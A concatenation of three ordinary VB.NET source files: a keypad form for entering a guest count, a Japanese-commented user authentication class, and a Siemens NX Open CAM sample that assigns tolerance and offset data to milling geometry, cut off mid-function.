System.Drawing.Size(88, 80) Me.cmd3.TabIndex = 2 Me.cmd3.Text = "3" ' 'cmd4 ' Me.cmd4.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd4.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd4.Location = New System.Drawing.Point(16, 112) Me.cmd4.Name = "cmd4" Me.cmd4.Size = New System.Drawing.Size(88, 80) Me.cmd4.TabIndex = 3 Me.cmd4.Text = "4" ' 'cmd5 ' Me.cmd5.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd5.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd5.Location = New System.Drawing.Point(120, 112) Me.cmd5.Name = "cmd5" Me.cmd5.Size = New System.Drawing.Size(88, 80) Me.cmd5.TabIndex = 4 Me.cmd5.Text = "5" ' 'cmd6 ' Me.cmd6.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd6.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd6.Location = New System.Drawing.Point(224, 112) Me.cmd6.Name = "cmd6" Me.cmd6.Size = New System.Drawing.Size(88, 80) Me.cmd6.TabIndex = 5 Me.cmd6.Text = "6" ' 'cmd7 ' Me.cmd7.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd7.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd7.Location = New System.Drawing.Point(16, 208) Me.cmd7.Name = "cmd7" Me.cmd7.Size = New System.Drawing.Size(88, 80) Me.cmd7.TabIndex = 6 Me.cmd7.Text = "7" ' 'cmd8 ' Me.cmd8.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd8.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd8.Location = New System.Drawing.Point(120, 208) Me.cmd8.Name = "cmd8" Me.cmd8.Size = New System.Drawing.Size(88, 80) Me.cmd8.TabIndex = 7 Me.cmd8.Text = "8" ' 'cmd9 ' Me.cmd9.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd9.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd9.Location = New System.Drawing.Point(224, 208) Me.cmd9.Name = "cmd9" Me.cmd9.Size = New System.Drawing.Size(88, 80) Me.cmd9.TabIndex = 8 Me.cmd9.Text = "9" ' 'cmd0 ' Me.cmd0.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd0.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd0.Location = New System.Drawing.Point(16, 304) Me.cmd0.Name = "cmd0" Me.cmd0.Size = New System.Drawing.Size(88, 80) Me.cmd0.TabIndex = 9 Me.cmd0.Text = "0" ' 'txtGuestCount ' Me.txtGuestCount.BackColor = System.Drawing.SystemColors.ActiveBorder Me.txtGuestCount.Font = New System.Drawing.Font("Impact", 12.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.txtGuestCount.Location = New System.Drawing.Point(216, 312) Me.txtGuestCount.Name = "txtGuestCount" Me.txtGuestCount.Size = New System.Drawing.Size(96, 27) Me.txtGuestCount.TabIndex = 10 Me.txtGuestCount.Text = "" ' 'lblGuestCount ' Me.lblGuestCount.BackColor = System.Drawing.SystemColors.ControlDark Me.lblGuestCount.Font = New System.Drawing.Font("Impact", 12.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.lblGuestCount.Location = New System.Drawing.Point(112, 312) Me.lblGuestCount.Name = "lblGuestCount" Me.lblGuestCount.Size = New System.Drawing.Size(96, 32) Me.lblGuestCount.TabIndex = 11 Me.lblGuestCount.Text = "Guest Count:" Me.lblGuestCount.TextAlign = System.Drawing.ContentAlignment.MiddleRight ' 'cmdClear ' Me.cmdClear.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmdClear.Font = New System.Drawing.Font("Impact", 12.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmdClear.Location = New System.Drawing.Point(120, 360) Me.cmdClear.Name = "cmdClear" Me.cmdClear.Size = New System.Drawing.Size(192, 24) Me.cmdClear.TabIndex = 12 Me.cmdClear.Text = "Clear" ' 'cmdOK ' Me.cmdOK.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmdOK.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmdOK.Location = New System.Drawing.Point(16, 400) Me.cmdOK.Name = "cmdOK" Me.cmdOK.Size = New System.Drawing.Size(296, 48) Me.cmdOK.TabIndex = 13 Me.cmdOK.Text = "OK" ' 'EnterGuestCount ' Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13) Me.BackColor = System.Drawing.SystemColors.ControlDark Me.ClientSize = New System.Drawing.Size(328, 462) Me.Controls.Add(Me.cmdOK) Me.Controls.Add(Me.cmdClear) Me.Controls.Add(Me.lblGuestCount) Me.Controls.Add(Me.txtGuestCount) Me.Controls.Add(Me.cmd0) Me.Controls.Add(Me.cmd9) Me.Controls.Add(Me.cmd8) Me.Controls.Add(Me.cmd7) Me.Controls.Add(Me.cmd6) Me.Controls.Add(Me.cmd5) Me.Controls.Add(Me.cmd4) Me.Controls.Add(Me.cmd3) Me.Controls.Add(Me.cmd2) Me.Controls.Add(Me.cmd1) Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None Me.Name = "EnterGuestCount" Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen Me.Text = "EnterGuestCount" Me.ResumeLayout(False) End Sub #End Region Public Sub Update_Total(ByVal X As Integer) txtGuestCount.Text = txtGuestCount.Text & Str(X) End Sub Private Sub cmd1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmd1.Click, cmd2.Click, cmd3.Click, cmd4.Click, cmd5.Click, cmd6.Click, cmd7.Click, cmd8.Click, cmd9.Click, cmd0.Click Update_Total(Mid(sender.name, 4, 1)) End Sub Private Sub cmdClear_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdClear.Click txtGuestCount.Text = "" End Sub Private Sub cmdOK_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdOK.Click If Val(txtGuestCount.Text) = 0 Then Else Saved.CURGUESTCOUNT = Val(txtGuestCount.Text) Saved.GO(0) = True End If Close() End Sub End Class
Imports NEXS.ERP.CM.Common Imports NEXS.ERP.CM.DA Namespace BL ''' <summary> ''' 認証管理ファサード ''' </summary> Public Class CMAuthenticationBL Inherits CMBaseBL Implements ICMAuthenticationBL Private Const ID As String = "ID" Private Const NAME As String = "NAME" Private Const PASSWD As String = "PASSWD" Private Const ROLE As String = "ROLE" #Region "インジェクション用フィールド" Protected m_dataAccess As CMUserInfoDA #End Region #Region "コンストラクタ" ''' <summary> ''' コンストラクタ ''' </summary> Public Sub New() End Sub #End Region ''' <summary> ''' ユーザIDとパスワードによる認証を実行します。 ''' このメソッドは、ローカル呼び出しでユーザIDとパスワードの検証だけを行う、 ''' Webアプリケーション等用のメソッドです。 ''' </summary> ''' <param name="userId">ユーザID。</param> ''' <param name="password">パスワード。</param> ''' <returns>ユーザが認証できた場合は true 。</returns> Public Function Authenticate(userId As String, password As String) As Boolean _ Implements ICMAuthenticationBL.Authenticate Dim row As DataRow = GetUserData(userId, password) ' ユーザIDとパスワードから社員情報を取得(取得できれば true) If row IsNot Nothing Then CMInformationManager.UserInfo = CreateUserInfo(row) End If Return row IsNot Nothing End Function ''' <summary> ''' ユーザIDで指定されたユーザのユーザ情報を取得します。 ''' このメソッドは、主にサーバ側で認証済みのユーザ情報を取得するために ''' 使用されます。 ''' </summary> ''' <param name="userId">ユーザID。</param> ''' <returns>ユーザ情報。ユーザ情報が取得できなかった場合は null参照。</returns> Public Function GetUserInfo(userId As String) As CMUserInfo _ Implements ICMAuthenticationBL.GetUserInfo ' ユーザIDから社員情報を取得 Return CreateUserInfo(GetUserData(userId)) End Function ''' <summary> ''' DataRowから<see cref="CMUserInfo"/> を作成します。 ''' null を渡すと、例外にはならずに null参照を返します。 ''' このメソッドは、このファサードの各メソッドから使用される内部メソッドです。 ''' </summary> ''' <param name="userData">ユーザの情報を格納しているDataRow。</param> ''' <returns>ユーザ情報を保持する <see cref="CMUserInfo"/>。 ''' <paramref name="userData"/> が null の場合は null参照。</returns> Private Function CreateUserInfo(userData As DataRow) As CMUserInfo If userData Is Nothing Then Return Nothing End If Dim userInfo As New CMUserInfo() ' ユーザ情報の設定 userInfo.Id = userData(ID).ToString() userInfo.Name = userData(NAME).ToString() ' ロールの設定 userInfo.Roles = userData(ROLE).ToString().Split(New Char() {","c}, StringSplitOptions.RemoveEmptyEntries) userInfo.SoshikiCd = userData("組織CD").ToString() userInfo.SoshikiName = userData("組織名").ToString() userInfo.SoshikiKaisoKbn = userData("組織階層区分").ToString() Return userInfo End Function ''' <summary> ''' ユーザIDとパスワードで指定されたユーザの情報を格納しているDataRowを取得します。 ''' このメソッドは、このファサードの各メソッドから使用される内部メソッドです。 ''' </summary> ''' <param name="userId">ユーザID。</param> ''' <param name="password">パスワード。</param> ''' <returns>指定されたユーザの情報を格納しているDataRow。 ''' 対象のユーザ情報が取得できなかった場合は null参照。</returns> Private Function GetUserData(userId As String, password As String) As DataRow ' ユーザのパスワードチェックをプロジェクトでカスタマイズする場合は、 ' 主にこのメソッドをカスタマイズします(パスワードを直接チェックする場合のみ)。 ' ユーザIDから社員情報を取得 Dim userData As DataRow = GetUserData(userId) If userData Is Nothing Then Return Nothing End If ' パスワードのチェック(パスワードは常に大文字小文字を区別してチェック) If password <> userData(PASSWD).ToString() Then Return Nothing End If Return userData End Function ''' <summary> ''' ユーザIDで指定されたユーザの情報を格納しているDataRowを取得します。 ''' このメソッドは、このファサードの各メソッドから使用される内部メソッドです。 ''' </summary> ''' <param name="userId">ユーザID。</param> ''' <returns>指定されたユーザの情報を格納しているDataRow。 ''' 対象のユーザ情報が取得できなかった場合は null参照。</returns> Private Function GetUserData(userId As String) As DataRow ' データアクセス層作成 m_dataAccess.Connection = Connection ' ユーザー情報取得 Return m_dataAccess.FindById(userId) End Function End Class End Namespace
'============================================================================= ' ' Copyright 2011 Siemens Product Lifecycle Management Software Inc. ' All Rights Reserved. ' '============================================================================= ' ' =========================================================================== ' DESCRIPTION ' This program assign custom data to all part geometry of a mill geometry ' group or cavity mill operation selected in the operation navigator. ' ' The custom data can either be defined by directly entering the numeric ' value in the dialog used here. Or it can be defined by entering the ' name of an attribute that is assigned to the geometry and that holds ' the actual numeric value for the customer data. Note that within a ' geometry set, all custom data must be the same value. Thus is the ' attributes defined on the individual geometry entities of a geoemtry ' set have different numeric value, the system will raise an error. ' ' Prerequisite to run this script is that a mill geometry group or a ' cavity milling opration is selected in the operation navigator. ' ' This script can be used as a boiler plate to set other geometry related ' custom data values. ' ============================================================================' '------------------------------------------------------------------------------ 'These imports are needed for the following template code '------------------------------------------------------------------------------ Option Strict Off Imports System Imports System.Globalization Imports NXOpen Imports NXOpen.BlockStyler Imports NXOpen.RemoteUtilities Imports NXOpen.UF Imports NXOpen.Utilities '------------------------------------------------------------------------------ 'Represents Block Styler application class (dialog) '------------------------------------------------------------------------------ Public Class AssignCustomDataDialog 'class members Private Shared theSession As Session Private Shared theUfSession As UFSession Private Shared theUI As UI Private theDlxFileName As String Private theDialog As NXOpen.BlockStyler.BlockDialog Private typeGroup As NXOpen.BlockStyler.UIBlock' Block type: Group Private geometryTypeEnumeration As NXOpen.BlockStyler.UIBlock' Block type: Enumeration Private attributeGroup As NXOpen.BlockStyler.UIBlock' Block type: Group Private stockAttributeString As NXOpen.BlockStyler.UIBlock' Block type: String Private intolAttributeString As NXOpen.BlockStyler.UIBlock' Block type: String Private outtolAttributeString As NXOpen.BlockStyler.UIBlock' Block type: String Private cutFeedAttributeString As NXOpen.BlockStyler.UIBlock' Block type: String '------------------------------------------------------------------------------ 'Constructor for NX Styler class - creates the dialog object '------------------------------------------------------------------------------ Public Sub New() Try theUI = UI.GetUI() 'The DLX file path and name Dim environment As RemoteUtilities = nothing environment = GetRemoteUtilities() Dim path As String path = environment.GetEnvironmentVariable ("UGII_USERFCN") theDlxFileName = path + "\SampleNXOpenApplications\.NET\CAM\GeometryAssignCustomDataBasedOnAttributesDialog.dlx" theDialog = theUI.CreateDialog(theDlxFileName) theDialog.AddApplyHandler(AddressOf apply_cb) theDialog.AddOkHandler(AddressOf ok_cb) theDialog.AddUpdateHandler(AddressOf update_cb) theDialog.AddInitializeHandler(AddressOf initialize_cb) Catch ex As Exception '---- Enter your exception handling code here ----- Throw ex End Try End Sub '------------------------------- DIALOG LAUNCHING --------------------------------- ' ' Before invoking this application one needs to open any part/empty part in NX ' because of the behavior of the blocks. ' ' You can create the dialog using one of the following way: ' ' 1. Journal Replay ' ' 1) Replay this file through Tool->Journal->Play Menu. ' ' 2. USER EXIT ' ' 1) Create the Shared Library -- Refer "Block UI Styler programmer's guide" ' 2) Invoke the Shared Library through File->Execute->NX Open menu. ' '------------------------------------------------------------------------------ Public Shared Sub Main() Dim customDataDialog As AssignCustomDataDialog = Nothing Try theSession = Session.GetSession() Dim WorkPart As Part = theSession.Parts.Work ' If there is a work part only then we can go further If WorkPart IsNot Nothing Then ' If there is a setup only then do we have to go further If WorkPart.CAMSetup() IsNot Nothing Then theUfSession = UFSession.GetUFSession() customDataDialog = New AssignCustomDataDialog() ' The following method shows the dialog immediately customDataDialog.Show() Else theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, "The work part does not have a CAM Setup.") End If Else theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, "No part is open.") End If Catch ex As Exception '---- Enter your exception handling code here ----- theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) Finally If customDataDialog IsNot Nothing Then customDataDialog.Dispose() customDataDialog = Nothing End If End Try End Sub '------------------------------------------------------------------------------ ' This method specifies how a shared image is unloaded from memory ' within NX. This method gives you the capability to unload an ' internal NX Open application or user exit from NX. Specify any ' one of the three constants as a return value to determine the type ' of unload to perform: ' ' ' Immediately : unload the library as soon as the automation program has completed ' Explicitly : unload the library from the "Unload Shared Image" dialog ' AtTermination : unload the library when the NX session terminates ' ' ' NOTE: A program which associates NX Open applications with the menubar ' MUST NOT use this option since it will UNLOAD your NX Open application image ' from the menubar. '------------------------------------------------------------------------------ Public Shared Function GetUnloadOption(ByVal arg As String) As Integer 'Return CType(Session.LibraryUnloadOption.Explicitly, Integer) Return CType(Session.LibraryUnloadOption.Immediately, Integer) ' Return CType(Session.LibraryUnloadOption.AtTermination, Integer) End Function '------------------------------------------------------------------------------ ' Following method cleanup any housekeeping chores that may be needed. ' This method is automatically called by NX. '------------------------------------------------------------------------------ Public Shared Function UnloadLibrary(ByVal arg As String) As Integer Try Return 0 Catch ex As Exception '---- Enter your exception handling code here ----- theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try End Function '------------------------------------------------------------------------------ 'This method shows the dialog on the screen '------------------------------------------------------------------------------ Public Sub Show() Try theDialog.Show Catch ex As Exception '---- Enter your exception handling code here ----- theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try End Sub '------------------------------------------------------------------------------ 'Method Name: Dispose '------------------------------------------------------------------------------ Public Sub Dispose() If theDialog IsNot Nothing Then theDialog.Dispose() theDialog = Nothing End If End Sub '------------------------------------------------------------------------------ '---------------------Block UI Styler Callback Functions-------------------------- '------------------------------------------------------------------------------ '------------------------------------------------------------------------------ 'Callback Name: initialize_cb '------------------------------------------------------------------------------ Public Sub initialize_cb() Try typeGroup = theDialog.TopBlock.FindBlock("typeGroup") geometryTypeEnumeration = theDialog.TopBlock.FindBlock("geometryTypeEnumeration") attributeGroup = theDialog.TopBlock.FindBlock("attributeGroup") stockAttributeString = theDialog.TopBlock.FindBlock("stockAttributeString") intolAttributeString = theDialog.TopBlock.FindBlock("intolAttributeString") outtolAttributeString = theDialog.TopBlock.FindBlock("outtolAttributeString") cutFeedAttributeString = theDialog.TopBlock.FindBlock("cutFeedAttributeString") Catch ex As Exception '---- Enter your exception handling code here ----- theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try End Sub '------------------------------------------------------------------------------ 'Callback Name: apply_cb '------------------------------------------------------------------------------ Public Function apply_cb() As Integer Dim errorCode as Integer = 0 Try '---- Enter your callback code here ----- 'Get the geometry type. The types are defined in DLX file. 'With the sample DLX, the values can be Part=0, Blank=1, Check=2, CutArea=3, Wall=4. Dim propList As BlockStyler.PropertyList = geometryTypeEnumeration.GetProperties Dim geomType As Integer = propList.GetEnum("Value") 'Call sub functions to assign the custom data. If geomType = 0 Then AssignCustomDataToPart() ElseIf geomType = 1 Then AssignCustomDataToBlank() ElseIf geomType = 2 Then AssignCustomDataToCheck() ElseIf geomType = 3 Then AssignCustomDataToCutArea() ElseIf geomType = 4 Then AssignCustomDataToWall() End If Catch ex As Exception '---- Enter your exception handling code here ----- errorCode = 1 theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try apply_cb = errorCode End Function '------------------------------------------------------------------------------ 'Callback Name: update_cb '------------------------------------------------------------------------------ Public Function update_cb(ByVal block As NXOpen.BlockStyler.UIBlock) As Integer Try If block Is geometryTypeEnumeration Then '---- Enter your code here ----- ElseIf block Is stockAttributeString Then '---- Enter your code here ----- ElseIf block Is intolAttributeString Then '---- Enter your code here ----- ElseIf block Is outtolAttributeString Then '---- Enter your code here ----- ElseIf block Is cutFeedAttributeString Then '---- Enter your code here ----- End If Catch ex As Exception '---- Enter your exception handling code here ----- theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try update_cb = 0 End Function '------------------------------------------------------------------------------ 'Callback Name: ok_cb '------------------------------------------------------------------------------ Public Function ok_cb() As Integer Dim errorCode as Integer = 0 Try '---- Enter your callback code here ----- errorCode = apply_cb() Catch ex As Exception '---- Enter your exception handling code here ----- errorCode = 1 theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try ok_cb = errorCode End Function '------------------------------------------------------------------------------ '---------------------Custom Data Assignment Functions------------------------- '------------------------------------------------------------------------------ ' The functions below are the actual core functions of this example script. ' They will take care of going through all the part geometry of the mill ' geometry group or cavity mill operation and assigning the custom data '------------------------------------------------------------------------------ ' Function Name: AssignCustomDataToPart ' ' For part geometry, the available custom data depends on the selected object. ' For example, a workpiece geometry group has part offset, while a cavity milling ' operation has In/Out tolerances. ' ' Then the sample code here is roughly doing the following steps: ' ' (1) Get the target cam object, create a corresponding builder on it. ' (2) Get the part geometry sets, and get the user input from the dialog ' (3) For each geometry set, if the given value is a pure number, set the value ' as custom data for this set. ' If it the given value is an attribute name, then get all geometry entities ' of this set, find the attribute value on the entities and assign that value ' to this set. ' (4) Commit the changes to database. '------------------------------------------------------------------------------ Public Function AssignCustomDataToPart() As Integer Dim errorCode As Integer = 0 Try Dim selectedTags() As NXOpen.Tag Dim selectedCount As Integer = 0 ' Get the selected nodes from the Operation Navigator theUfSession.UiOnt.AskSelectedNodes(selectedCount, selectedTags) If selectedCount <> 0 Then Dim index As Integer = 0 While index < selectedCount ' Get the geometry builder for the selected object Dim millGeomBuilder As CAM.ParamBuilder Dim partGeometry As CAM.Geometry millGeomBuilder = GetBuilderFromObject(selectedTags(index), partGeometry) If millGeomBuilder IsNot Nothing And partGeometry IsNot Nothing Then 'check if there is any part geometry selected. Dim numItems As Integer = partGeometry.GeometryList.Length If numItems > 0 Then 'Get the attribute name which defines the part stock for the geometry. Dim propList As BlockStyler.PropertyList = stockAttributeString.GetProperties Dim partAttrName As String = propList.GetString("Value") 'The attribute name may be a pure number. So try to convert it to a double value Dim partStock As Double = 0.0 Dim isPartStockPureNumber As Boolean = GetPureValue(partAttrName, partStock) 'Get the attribute name which defines the intol for the geometry. propList = intolAttributeString.GetProperties Dim intolAttrName As String = propList.GetString("Value") 'The attribute name may be a pure number. So try to convert it to a double value Dim intol As Double = 0.0 Dim isIntolPureNumber As Boolean = GetPureValue(intolAttrName, intol) 'Get the attribute name which defines the outtol for the geometry. propList = outtolAttributeString.GetProperties Dim outtolAttrName As String = propList.GetString("Value") 'The attribute name may be a pure number. So try to convert it to a double value Dim outtol As Double = 0.0 Dim isOuttolPureNumber As Boolean = GetPureValue(outtolAttrName, outtol) 'Cycle all the geometry sets and assign custom data. For item As Integer = 0 To numItems - 1 Dim taggedObject1 As TaggedObject taggedObject1 = partGeometry.GeometryList.FindItem(item) Dim geometrySet1 As CAM.GeometrySet = CType(taggedObject1, CAM.GeometrySet) 'Set the part stock (offset) custom data to the geometry set. ' Note that if the geometry set does not support this type of custom data ' it will simply be ignored. There is no error raised. If Not String.IsNullOrWhiteSpace(partAttrName) Then If isPartStockPureNumber Then 'It is a pure number, set the value. geometrySet1.CustomPartOffset = True geometrySet1.PartOffset = partStock Else 'If it isn't a pure number, then find the attribute which is defined at the 'geometry entities for the current set and get the value from there. If GetAttrValueFromSelectedEntities(geometrySet1, PartAttrName, partStock) Then geometrySet1.CustomPartOffset = True geometrySet1.PartOffset = partStock Else theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("The Offset custom data is not assigned for the geometry set ({0}).", Convert.ToString(item + 1))) End If End If End If 'Set the intol custom data to the geometry set. ' Note that if the geometry set does not support this type of custom data ' it will simply be ignored. There is no error raised. If Not String.IsNullOrWhiteSpace(intolAttrName) Then If isIntolPureNumber Then 'It is a pure number, set the value. geometrySet1.CustomTolerance = True geometrySet1.Intol = intol Else 'If it isn't a pure number, then find the attribute which is defined at the 'geometry entities for the current set and get the value from there. If GetAttrValueFromSelectedEntities(geometrySet1, IntolAttrName, intol) Then geometrySet1.CustomTolerance = True geometrySet1.Intol = intol Else theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("The Intol custom data is not assigned for the geometry set ({0}).", Convert.ToString(item + 1))) End If End If End If 'Set the outtol custom data to the geometry set. ' Note that if the geometry set does not support this type of custom data ' it will simply be ignored. There is no error raised. If Not String.IsNullOrWhiteSpace(intolAttrName) Then If isOuttolPureNumber Then 'It is a pure number, set the value. geometrySet1.CustomTolerance = True geometrySet1.Outtol = Outtol Else 'If it isn't a pure number, then find the attribute which is defined at the 'geometry entities for the current set and get the value from there. If GetAttrValueFromSelectedEntities(geometrySet1, OuttolAttrName, outtol) Then geometrySet1.CustomTolerance = True geometrySet1.Outtol = Outtol Else theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("The Outtol custom data is not assigned for the geometry set ({0}).", Convert.ToString(item + 1))) End If End If End If Next 'Commit the changes to database. Dim nXObject1 As NXObject nXObject1 = millGeomBuilder.Commit() End If End If 'Destroy the created builder If millGeomBuilder IsNot Nothing Then millGeomBuilder.Destroy() End If ' Increment to the next object index = index + 1 End While End If Catch ex As Exception '---- Enter your exception handling code here ----- errorCode = 1 theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try AssignCustomDataToPart = errorCode End Function '------------------------------------------------------------------------------ 'Function Name: AssignCustomDataToBlank 'This is an empty method (stub). Please implement it as your requirement. 'You can take the AssignCustomDataToPart method as example to do the similar thing 'for blank geometry. '------------------------------------------------------------------------------ Public Function AssignCustomDataToBlank() As Integer Dim errorCode As Integer = 0 Try '---- Enter the custom data assignment for blank code here ----- Catch ex As Exception '---- Enter your exception handling code here ----- errorCode = 1 theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try AssignCustomDataToBlank = errorCode End Function '------------------------------------------------------------------------------ 'Function Name: AssignCustomDataToCheck 'This is an empty method (stub). Please implement it as your requirement. 'You can take the AssignCustomDataToPart method as example to do the similar thing 'for check geometry. '------------------------------------------------------------------------------ Public Function AssignCustomDataToCheck() As Integer Dim errorCode As Integer = 0 Try '---- Enter the custom data assignment for Check code here ----- Catch ex As Exception '---- Enter your exception handling code here ----- errorCode = 1 theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try AssignCustomDataToCheck = errorCode End Function '------------------------------------------------------------------------------ 'Function Name: AssignCustomDataToCutArea 'This is an empty method (stub). Please implement it as your requirement. 'You can take the AssignCustomDataToPart method as example to do the similar thing 'for cut area geometry. '------------------------------------------------------------------------------ Public Function AssignCustomDataToCutArea() As Integer Dim errorCode As Integer = 0 Try '---- Enter the custom data assignment for Cut Area code here ----- Catch ex As Exception '---- Enter your exception handling code here ----- errorCode = 1 theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try AssignCustomDataToCutArea = errorCode End Function '------------------------------------------------------------------------------ 'Function Name: AssignCustomDataToWall 'This is an empty method (stub). Please implement it as your requirement. 'You can take the AssignCustomDataToPart method as example to do the similar thing 'for wall geometry. '------------------------------------------------------------------------------ Public Function AssignCustomDataToWall() As Integer Dim errorCode As Integer = 0 Try '---- Enter the custom data assignment for Wall code here ----- Catch ex As Exception '---- Enter your exception handling code here ----- errorCode = 1 theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, ex.ToString) End Try AssignCustomDataToWall = errorCode End Function '------------------------------------------------------------------------------ ' Function Name: GetAttrValueFromSelectedEntities ' ' Get the value defined by the attribute that is assigned to the geometry entities ' ' The setObj is the current geometry set which contains the geometry entities. ' ' For any two of the entities, if their values are defined differently for the attribute, ' then just return FALSE meaning no appropriate value found! '------------------------------------------------------------------------------ Public Function GetAttrValueFromSelectedEntities(ByVal setObj As CAM.GeometrySet, ByVal attrName As String, ByRef retValue As Double) As Boolean Dim valueFound As Boolean = False Try If attrName.Length > 0 Then 'Make sure there is something selected in the set. If setObj.Selection.Size > 0 Then Dim attrValue As Double = 0.0 'Get selection list Dim objList() As TaggedObject = setObj.Selection.GetArray() Dim numObjs As Integer = Ubound(objList) Dim endLoop As Boolean = False 'Cycle all the entities, find the value for the attribute. For item As Integer = 0 To numObjs 'Check if exit the loop If endLoop = False Then Dim entity As TaggedObject = objList(item) Dim isCollector As Boolean = False 'Try for collector Try Dim collector As ScCollector = CType(entity, ScCollector) 'Get all entities in collector Dim selectedEntities() As TaggedObject = collector.GetObjects() Dim numEntity As Integer = Ubound(selectedEntities) isCollector = True If numEntity >= 0 Then 'Cycle each entity. For count As Integer = 0 To numEntity If endLoop = False Then Dim selectedEntity As NXObject = CType(selectedEntities(count), NXObject) Dim myAttrValue As Double = 0.0 'Get the attribute value at this entity If GetAttrValue(selectedEntity, attrName, myAttrValue) = 0 Then 'Check if there is any conflict with other entities. If valueFound Then 'If the value is different from previous one, then show error and exit. If attrValue <> myAttrValue Then theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("At least two of selected entities have set the attribute {0} to different values. Custom Data will not be assigned for geometry set {1}.", attrName, setObj.ToString())) 'End the loop for searching the attribute values. endLoop = True 'Return value not found to stop assignment. valueFound = False End If Else 'Keep this value since it is the first found value. attrValue = myAttrValue valueFound = True End If End If End If Next End If Catch ex As Exception 'theUI.NXMessageBox.Show("Block Styler", NXMessageBox.DialogType.Error, "Not collector") End Try 'Try for non collector entity If isCollector = False Then Dim nonCollector As NXObject = CType(entity, NXObject) Dim myAttrValue As Double = 0.0 'Get the attribute value which is defined to the entity. If GetAttrValue(nonCollector, attrName, myAttrValue) = 0 Then 'Check if there is any conflict with other entities. If valueFound Then 'If the value is different from previous one, then show error and exit. If attrValue <> myAttrValue Then theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("At least two of selected entities have set the attribute {0} to different values. Custom Data will not be assigned for geometry set {1}.", attrName, setObj.ToString())) 'End the loop for searching the attribute values. endLoop = True 'Return value not found to stop assignment. valueFound = False End If Else 'Keep this value since it is the first found value. attrValue = myAttrValue valueFound = True End If End If End If End If Next If valueFound Then retValue = attrValue End If End If End If Catch ex As Exception '---- Enter your exception handling code here ----- theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("The custom data is not set to the geometry set ({0}) due to an unexpected exception ({1}).", setObj.ToString(), ex.ToString())) End Try GetAttrValueFromSelectedEntities = valueFound End Function '------------------------------------------------------------------------------ ' Function Name: GetAttrValue ' Get the value defined by the attribute of an object '------------------------------------------------------------------------------ Public Function GetAttrValue(ByVal obj As NXObject, ByVal attrName As String, ByRef retValue As Double) As Integer Dim errorCode As Integer = 0 Try If attrName.Length > 0 Then retValue = obj.GetRealAttribute(attrName) End If Catch ex As Exception '---- Enter your exception handling code here ----- errorCode = 1 theUI.NXMessageBox.Show("Assign Custom Data", NXMessageBox.DialogType.Error, String.Format("The attribute {0} is not found at object {1}.", attrName, obj.ToString())) End Try GetAttrValue = errorCode End Function '------------------------------------------------------------------------------ 'Function Name: GetPureValue 'Convert the string to a pure number, return true if it is a pure number. '------------------------------------------------------------------------------ Public Function GetPureValue(ByVal attrName As String, ByRef retValue As Double) As 